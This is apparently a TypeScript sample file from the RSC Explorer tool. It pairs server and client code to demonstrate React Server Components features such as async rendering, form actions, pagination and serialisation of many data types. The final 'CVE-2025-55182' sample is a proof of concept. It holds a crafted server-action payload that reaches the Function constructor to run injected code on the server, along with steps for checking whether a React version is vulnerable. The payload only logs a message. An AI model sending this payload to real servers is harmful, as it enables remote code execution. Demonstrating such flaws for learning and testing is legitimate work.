A tool for people curious about the React Server Components protocol rscexplorer.dev/
rsc react
at main 710 lines 19 kB view raw
1export interface Sample { 2 name: string; 3 server: string; 4 client: string; 5} 6 7export const SAMPLES: Record<string, Sample> = { 8 hello: { 9 name: "Hello World", 10 server: `export default function App() { 11 return <h1>Hello World</h1> 12}`, 13 client: `'use client'`, 14 }, 15 async: { 16 name: "Async Component", 17 server: `import { Suspense } from 'react' 18 19export default function App() { 20 return ( 21 <div> 22 <h1>Async Component</h1> 23 <Suspense fallback={<p>Loading...</p>}> 24 <SlowComponent /> 25 </Suspense> 26 </div> 27 ) 28} 29 30async function SlowComponent() { 31 await new Promise(r => setTimeout(r, 500)) 32 return <p>Data loaded!</p> 33}`, 34 client: `'use client'`, 35 }, 36 counter: { 37 name: "Counter", 38 server: `import { Counter } from './client' 39 40export default function App() { 41 return ( 42 <div> 43 <h1>Counter</h1> 44 <Counter initialCount={0} /> 45 </div> 46 ) 47}`, 48 client: `'use client' 49 50import { useState } from 'react' 51 52export function Counter({ initialCount }) { 53 const [count, setCount] = useState(initialCount) 54 55 return ( 56 <div> 57 <p>Count: {count}</p> 58 <div style={{ display: 'flex', gap: 8 }}> 59 <button onClick={() => setCount(c => c - 1)}>−</button> 60 <button onClick={() => setCount(c => c + 1)}>+</button> 61 </div> 62 </div> 63 ) 64}`, 65 }, 66 form: { 67 name: "Form Action", 68 server: `import { Form } from './client' 69 70export default function App() { 71 return ( 72 <div> 73 <h1>Form Action</h1> 74 <Form greetAction={greet} /> 75 </div> 76 ) 77} 78 79async function greet(prevState, formData) { 80 'use server' 81 await new Promise(r => setTimeout(r, 500)) 82 const name = formData.get('name') 83 if (!name) return { message: null, error: 'Please enter a name' } 84 return { message: \`Hello, \${name}!\`, error: null } 85}`, 86 client: `'use client' 87 88import { useActionState } from 'react' 89 90export function Form({ greetAction }) { 91 const [state, formAction, isPending] = useActionState(greetAction, { 92 message: null, 93 error: null 94 }) 95 96 return ( 97 <form action={formAction}> 98 <div style={{ display: 'flex', gap: 8 }}> 99 <input 100 name="name" 101 placeholder="Enter your name" 102 style={{ flex: 1, minWidth: 0, padding: '8px 12px', borderRadius: 4, border: '1px solid #ccc' }} 103 /> 104 <button disabled={isPending}> 105 {isPending ? 'Sending...' : 'Greet'} 106 </button> 107 </div> 108 {state.error && <p style={{ color: 'red', marginTop: 8 }}>{state.error}</p>} 109 {state.message && <p style={{ color: 'green', marginTop: 8 }}>{state.message}</p>} 110 </form> 111 ) 112}`, 113 }, 114 refresh: { 115 name: "Router Refresh", 116 server: `import { Suspense } from 'react' 117import { Timer, Router } from './client' 118 119export default function App() { 120 return ( 121 <div> 122 <h1>Router Refresh</h1> 123 <p style={{ marginBottom: 12, color: '#666' }}> 124 Client state persists across server navigations 125 </p> 126 <Suspense fallback={<p>Loading...</p>}> 127 <Router initial={renderPage()} refreshAction={renderPage} /> 128 </Suspense> 129 </div> 130 ) 131} 132 133async function renderPage() { 134 'use server' 135 return <ColorTimer /> 136} 137 138async function ColorTimer() { 139 await new Promise(r => setTimeout(r, 300)) 140 const hue = Math.floor(Math.random() * 360) 141 return <Timer color={\`hsl(\${hue}, 70%, 85%)\`} /> 142}`, 143 client: `'use client' 144 145import { useState, useEffect, useTransition, use } from 'react' 146 147export function Timer({ color }) { 148 const [seconds, setSeconds] = useState(0) 149 150 useEffect(() => { 151 const id = setInterval(() => setSeconds(s => s + 1), 1000) 152 return () => clearInterval(id) 153 }, []) 154 155 return ( 156 <div style={{ 157 background: color, 158 padding: 24, 159 borderRadius: 8, 160 textAlign: 'center' 161 }}> 162 <p style={{ fontFamily: 'monospace', fontSize: 32, margin: 0 }}>Timer: {seconds}s</p> 163 </div> 164 ) 165} 166 167export function Router({ initial, refreshAction }) { 168 const [contentPromise, setContentPromise] = useState(initial) 169 const [isPending, startTransition] = useTransition() 170 const content = use(contentPromise) 171 172 const refresh = () => { 173 startTransition(() => { 174 setContentPromise(refreshAction()) 175 }) 176 } 177 178 return ( 179 <div style={{ opacity: isPending ? 0.7 : 1 }}> 180 <button onClick={refresh} disabled={isPending} style={{ marginBottom: 12 }}> 181 {isPending ? 'Refreshing...' : 'Refresh'} 182 </button> 183 {content} 184 </div> 185 ) 186}`, 187 }, 188 pagination: { 189 name: "Pagination", 190 server: `import { Suspense } from 'react' 191import { Paginator } from './client' 192 193export default function App() { 194 return ( 195 <div> 196 <h1>Pagination</h1> 197 <Suspense fallback={<p style={{ color: '#888' }}>Loading recipes...</p>}> 198 <InitialRecipes /> 199 </Suspense> 200 </div> 201 ) 202} 203 204async function InitialRecipes() { 205 await new Promise(r => setTimeout(r, 200)) 206 const initialItems = recipes.slice(0, 2).map(r => <RecipeCard key={r.id} recipe={r} />) 207 return ( 208 <Paginator 209 initialItems={initialItems} 210 initialCursor={2} 211 loadMoreAction={loadMore} 212 /> 213 ) 214} 215 216async function loadMore(cursor) { 217 'use server' 218 await new Promise(r => setTimeout(r, 300)) 219 const newItems = recipes.slice(cursor, cursor + 2) 220 return { 221 newItems: newItems.map(r => <RecipeCard key={r.id} recipe={r} />), 222 cursor: cursor + 2, 223 hasMore: cursor + 2 < recipes.length 224 } 225} 226 227function RecipeCard({ recipe }) { 228 return ( 229 <div style={{ padding: 12, marginBottom: 8, background: '#f5f5f5', borderRadius: 6 }}> 230 <strong>{recipe.name}</strong> 231 <p style={{ margin: '4px 0 0', color: '#666', fontSize: 13 }}> 232 {recipe.time} · {recipe.difficulty} 233 </p> 234 </div> 235 ) 236} 237 238const recipes = [ 239 { id: 1, name: 'Pasta Carbonara', time: '25 min', difficulty: 'Medium' }, 240 { id: 2, name: 'Grilled Cheese', time: '10 min', difficulty: 'Easy' }, 241 { id: 3, name: 'Chicken Stir Fry', time: '20 min', difficulty: 'Easy' }, 242 { id: 4, name: 'Beef Tacos', time: '30 min', difficulty: 'Medium' }, 243 { id: 5, name: 'Caesar Salad', time: '15 min', difficulty: 'Easy' }, 244 { id: 6, name: 'Mushroom Risotto', time: '45 min', difficulty: 'Hard' }, 245]`, 246 client: `'use client' 247 248import { useState, useTransition } from 'react' 249 250export function Paginator({ initialItems, initialCursor, loadMoreAction }) { 251 const state = usePagination(initialItems, initialCursor, loadMoreAction) 252 253 return ( 254 <form action={state.formAction}> 255 {state.items} 256 {state.hasMore && ( 257 <button disabled={state.isPending}> 258 {state.isPending ? 'Loading...' : 'Load More'} 259 </button> 260 )} 261 </form> 262 ) 263} 264 265function usePagination(initialItems, initialCursor, action) { 266 const [items, setItems] = useState(initialItems) 267 const [cursor, setCursor] = useState(initialCursor) 268 const [hasMore, setHasMore] = useState(true) 269 const [isPending, startTransition] = useTransition() 270 271 const formAction = () => { 272 startTransition(async () => { 273 const result = await action(cursor) 274 startTransition(() => { 275 setItems(prev => [...prev, ...result.newItems]) 276 setCursor(result.cursor) 277 setHasMore(result.hasMore) 278 }) 279 }) 280 } 281 282 return { items, hasMore, formAction, isPending } 283}`, 284 }, 285 errors: { 286 name: "Error Handling", 287 server: `import { Suspense } from 'react' 288import { ErrorBoundary } from './client' 289 290export default function App() { 291 return ( 292 <div> 293 <h1>Error Handling</h1> 294 <ErrorBoundary fallback={<FailedToLoad />}> 295 <Suspense fallback={<p>Loading user...</p>}> 296 <UserProfile id={123} /> 297 </Suspense> 298 </ErrorBoundary> 299 </div> 300 ) 301} 302 303async function UserProfile({ id }) { 304 const user = await fetchUser(id) 305 return ( 306 <div style={{ padding: 16, background: '#f0f0f0', borderRadius: 8 }}> 307 <strong>{user.name}</strong> 308 </div> 309 ) 310} 311 312function FailedToLoad() { 313 return ( 314 <div style={{ padding: 16, background: '#fee', borderRadius: 8, color: '#c00' }}> 315 <strong>Failed to load user</strong> 316 <p style={{ margin: '4px 0 0' }}>Please try again later.</p> 317 </div> 318 ) 319} 320 321async function fetchUser(id) { 322 await new Promise(r => setTimeout(r, 300)) 323 throw new Error('Network error') 324}`, 325 client: `'use client' 326 327import { Component } from 'react' 328 329export class ErrorBoundary extends Component { 330 state = { error: null } 331 332 static getDerivedStateFromError(error) { 333 return { error } 334 } 335 336 render() { 337 if (this.state.error) { 338 return this.props.fallback 339 } 340 return this.props.children 341 } 342}`, 343 }, 344 clientref: { 345 name: "Client Reference", 346 server: `// Server can pass client module exports as props 347import { darkTheme, lightTheme, ThemedBox } from './client' 348 349export default function App() { 350 // Server references client-side config objects 351 // They serialize as module references, resolved on client 352 return ( 353 <div> 354 <h1>Client Reference</h1> 355 <div style={{ display: 'flex', gap: 12 }}> 356 <ThemedBox theme={darkTheme} label="Dark" /> 357 <ThemedBox theme={lightTheme} label="Light" /> 358 </div> 359 </div> 360 ) 361}`, 362 client: `'use client' 363 364export const darkTheme = { background: '#1a1a1a', color: '#fff' } 365export const lightTheme = { background: '#f5f5f5', color: '#000' } 366 367export function ThemedBox({ theme, label }) { 368 return ( 369 <div style={{ ...theme, padding: 16, borderRadius: 8 }}> 370 {label} theme 371 </div> 372 ) 373}`, 374 }, 375 bound: { 376 name: "Bound Actions", 377 server: `// action.bind() pre-binds arguments on the server 378import { Greeter } from './client' 379 380export default function App() { 381 return ( 382 <div> 383 <h1>Bound Actions</h1> 384 <p style={{ color: '#888', marginBottom: 16 }}> 385 Same action, different bound greetings: 386 </p> 387 <Greeter action={greet.bind(null, 'Hello')} /> 388 <Greeter action={greet.bind(null, 'Howdy')} /> 389 <Greeter action={greet.bind(null, 'Hey')} /> 390 </div> 391 ) 392} 393 394async function greet(greeting, name) { 395 'use server' 396 return \`\${greeting}, \${name}!\` 397}`, 398 client: `'use client' 399 400import { useState } from 'react' 401 402export function Greeter({ action }) { 403 const [result, setResult] = useState(null) 404 405 async function handleSubmit(formData) { 406 // greeting is pre-bound, we only pass name 407 const message = await action(formData.get('name')) 408 setResult(message) 409 } 410 411 return ( 412 <form action={handleSubmit} style={{ display: 'flex', gap: 8, alignItems: 'center', marginBottom: 8 }}> 413 <input name="name" placeholder="Your name" required style={{ flex: 1, maxWidth: 120, minWidth: 0, padding: '4px 8px' }} /> 414 <button>Greet</button> 415 {result && <span>{result}</span>} 416 </form> 417 ) 418}`, 419 }, 420 binary: { 421 name: "Binary Data", 422 server: `import { BinaryDisplay } from './client' 423 424export default function App() { 425 const buffer = new ArrayBuffer(4) 426 new Uint8Array(buffer).set([0xCA, 0xFE, 0xBA, 0xBE]) 427 428 return ( 429 <div> 430 <h1>Binary Data</h1> 431 <BinaryDisplay 432 arrayBuffer={buffer} 433 int8={new Int8Array([0x7F, -1, -128])} 434 uint8={new Uint8Array([0xDE, 0xAD, 0xBE, 0xEF])} 435 uint8Clamped={new Uint8ClampedArray([0, 128, 255])} 436 int16={new Int16Array([0x7FFF, -1])} 437 uint16={new Uint16Array([0xFFFF, 0x1234])} 438 int32={new Int32Array([0x12345678, -1])} 439 uint32={new Uint32Array([0xDEADBEEF])} 440 float32={new Float32Array([Math.PI])} 441 float64={new Float64Array([Math.PI])} 442 bigInt64={new BigInt64Array([0x123456789ABCDEFn, -1n])} 443 bigUint64={new BigUint64Array([0xFEDCBA9876543210n])} 444 dataView={new DataView(buffer)} 445 /> 446 </div> 447 ) 448}`, 449 client: `'use client' 450 451function formatBytes(arr) { 452 return Array.from(new Uint8Array(arr.buffer || arr)).map(b => '0x' + b.toString(16).padStart(2, '0')).join(', ') 453} 454 455export function BinaryDisplay(props) { 456 return ( 457 <div style={{ fontSize: 12, fontFamily: 'monospace' }}> 458 <div>ArrayBuffer: [{formatBytes(props.arrayBuffer)}]</div> 459 <div>Int8Array: [{props.int8.join(', ')}]</div> 460 <div>Uint8Array: [{formatBytes(props.uint8)}]</div> 461 <div>Uint8ClampedArray: [{props.uint8Clamped.join(', ')}]</div> 462 <div>Int16Array: [{props.int16.join(', ')}]</div> 463 <div>Uint16Array: [{props.uint16.join(', ')}]</div> 464 <div>Int32Array: [{props.int32.map(n => '0x' + (n >>> 0).toString(16)).join(', ')}]</div> 465 <div>Uint32Array: [{props.uint32.map(n => '0x' + n.toString(16)).join(', ')}]</div> 466 <div>Float32Array: [{props.float32.join(', ')}]</div> 467 <div>Float64Array: [{props.float64.join(', ')}]</div> 468 <div>BigInt64Array: [{props.bigInt64.map(n => n.toString()).join(', ')}]</div> 469 <div>BigUint64Array: [{props.bigUint64.map(n => '0x' + n.toString(16)).join(', ')}]</div> 470 <div>DataView: [{formatBytes(props.dataView)}]</div> 471 </div> 472 ) 473}`, 474 }, 475 kitchensink: { 476 name: "Kitchen Sink", 477 server: `import { Suspense } from 'react' 478import { DataDisplay } from './client' 479 480export default function App() { 481 return ( 482 <div> 483 <h1>Kitchen Sink</h1> 484 <Suspense fallback={<p>Loading...</p>}> 485 <AllTypes /> 486 </Suspense> 487 </div> 488 ) 489} 490 491async function AllTypes() { 492 await new Promise(r => setTimeout(r, 100)) 493 494 const data = { 495 // Primitives 496 primitives: { 497 null: null, 498 undefined: undefined, 499 true: true, 500 false: false, 501 int: 42, 502 float: 3.14159, 503 string: "hello world", 504 empty: "", 505 dollar: "$special", 506 unicode: "Hello 世界 🌍", 507 }, 508 509 // Special numbers 510 special: { 511 negZero: -0, 512 inf: Infinity, 513 negInf: -Infinity, 514 nan: NaN, 515 }, 516 517 // Special types 518 types: { 519 date: new Date("2024-01-15T12:00:00.000Z"), 520 bigint: BigInt("12345678901234567890"), 521 symbol: Symbol.for("mySymbol"), 522 }, 523 524 // Binary / TypedArrays 525 binary: { 526 uint8: new Uint8Array([1, 2, 3, 4, 5]), 527 int32: new Int32Array([-1, 0, 2147483647]), 528 float64: new Float64Array([3.14159, 2.71828]), 529 }, 530 531 // Collections 532 collections: { 533 map: new Map([["a", 1], ["b", { nested: true }]]), 534 set: new Set([1, 2, "three"]), 535 formData: createFormData(), 536 blob: new Blob(["hello"], { type: "text/plain" }), 537 }, 538 539 // Arrays 540 arrays: { 541 simple: [1, 2, 3], 542 sparse: createSparse(), 543 nested: [[1], [2, [3]]], 544 }, 545 546 // Objects 547 objects: { 548 simple: { a: 1 }, 549 nested: { x: { y: { z: "deep" } } }, 550 }, 551 552 // React elements 553 elements: { 554 div: <div className="test">Hello</div>, 555 fragment: <><span>a</span><span>b</span></>, 556 suspense: <Suspense fallback="..."><p>content</p></Suspense>, 557 }, 558 559 // Promises 560 promises: { 561 resolved: Promise.resolve("immediate"), 562 delayed: new Promise(r => setTimeout(() => r("delayed"), 100)), 563 }, 564 565 // Iterators 566 iterators: { 567 sync: [1, 2, 3][Symbol.iterator](), 568 }, 569 570 // References 571 refs: createRefs(), 572 573 // Server action 574 action: serverAction, 575 } 576 577 return <DataDisplay data={data} /> 578} 579 580function createFormData() { 581 const fd = new FormData() 582 fd.append("key", "value") 583 return fd 584} 585 586function createSparse() { 587 const a = [1]; a[3] = 4; return a 588} 589 590function createRefs() { 591 const shared = { id: 1 } 592 const cyclic = { name: "cyclic" } 593 cyclic.self = cyclic 594 return { dup: { a: shared, b: shared }, cyclic } 595} 596 597async function serverAction(x) { 598 'use server' 599 return { got: x } 600}`, 601 client: `'use client' 602 603export function DataDisplay({ data }) { 604 return ( 605 <div style={{ fontSize: 12 }}> 606 {Object.entries(data).map(([section, values]) => ( 607 <div key={section} style={{ marginBottom: 16 }}> 608 <strong>{section}</strong> 609 <div style={{ marginLeft: 12 }}> 610 {typeof values === 'function' ? ( 611 <div><button onClick={() => values('test')}>Call {values.name || 'action'}</button></div> 612 ) : typeof values === 'object' && values !== null ? ( 613 Object.entries(values).map(([k, v]) => ( 614 <div key={k}>{k}: {renderValue(v)}</div> 615 )) 616 ) : ( 617 <span>{renderValue(values)}</span> 618 )} 619 </div> 620 </div> 621 ))} 622 </div> 623 ) 624} 625 626function renderValue(v) { 627 if (v === null) return 'null' 628 if (v === undefined) return 'undefined' 629 if (typeof v === 'symbol') return v.toString() 630 if (typeof v === 'bigint') return v.toString() + 'n' 631 if (typeof v === 'function') return '[Function]' 632 if (v instanceof Date) return v.toISOString() 633 if (v instanceof Map) return 'Map(' + v.size + ')' 634 if (v instanceof Set) return 'Set(' + v.size + ')' 635 if (v instanceof FormData) return 'FormData' 636 if (v instanceof Blob) return 'Blob(' + v.size + ')' 637 if (v instanceof ArrayBuffer) return 'ArrayBuffer(' + v.byteLength + ')' 638 if (ArrayBuffer.isView(v)) return v.constructor.name + '(' + v.length + ')' 639 if (Array.isArray(v)) return '[' + v.length + ' items]' 640 if (typeof v === 'object') return '{...}' 641 return String(v) 642}`, 643 }, 644 cve: { 645 name: "CVE-2025-55182", 646 server: `import { Instructions } from './client' 647 648async function poc() { 649 'use server' 650} 651 652export default function App() { 653 return ( 654 <div> 655 <h1>CVE-2025-55182</h1> 656 <Instructions /> 657 </div> 658 ) 659}`, 660 client: `'use client' 661 662import { useState } from 'react' 663 664const PAYLOAD = \`0="$1"&1={"status":"resolved_model","reason":0,"_response":"$5","value":"{\\\\"then\\\\":\\\\"$4:map\\\\",\\\\"0\\\\":{\\\\"then\\\\":\\\\"$B3\\\\"},\\\\"length\\\\":1}","then":"$2:then"}&2="$@3"&3=""&4=[]&5={"_prefix":"console.log('😼 meow meow from', self.constructor.name)//","_formData":{"get":"$4:constructor:constructor"},"_chunks":"$2:_response:_chunks","_bundlerConfig":{}}\` 665 666export function Instructions() { 667 const [copied, setCopied] = useState(false) 668 669 const handleCopy = () => { 670 navigator.clipboard.writeText(PAYLOAD) 671 setCopied(true) 672 setTimeout(() => setCopied(false), 2000) 673 } 674 675 return ( 676 <div> 677 <ol style={{ paddingLeft: 20, marginBottom: 16 }}> 678 <li>Use the + button in above pane to add a raw action</li> 679 <li>Select the <code>poc</code> action</li> 680 <li>Copy the payload below and paste it</li> 681 <li>Open your browser's console</li> 682 <li>If this version of React is vulnerable, you'll see a log from the worker (which simulates the server)</li> 683 </ol> 684 <div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4 }}> 685 <label style={{ fontSize: 12, color: '#666' }}>Payload:</label> 686 <button onClick={handleCopy} style={{ fontSize: 12, padding: '2px 8px' }}> 687 {copied ? 'Copied!' : 'Copy'} 688 </button> 689 </div> 690 <textarea 691 readOnly 692 value={PAYLOAD} 693 style={{ 694 width: '100%', 695 height: 80, 696 fontFamily: 'monospace', 697 fontSize: 11, 698 padding: 8, 699 border: '1px solid #ccc', 700 borderRadius: 4, 701 resize: 'vertical', 702 background: '#f5f5f5' 703 }} 704 onClick={e => e.target.select()} 705 /> 706 </div> 707 ) 708}`, 709 }, 710};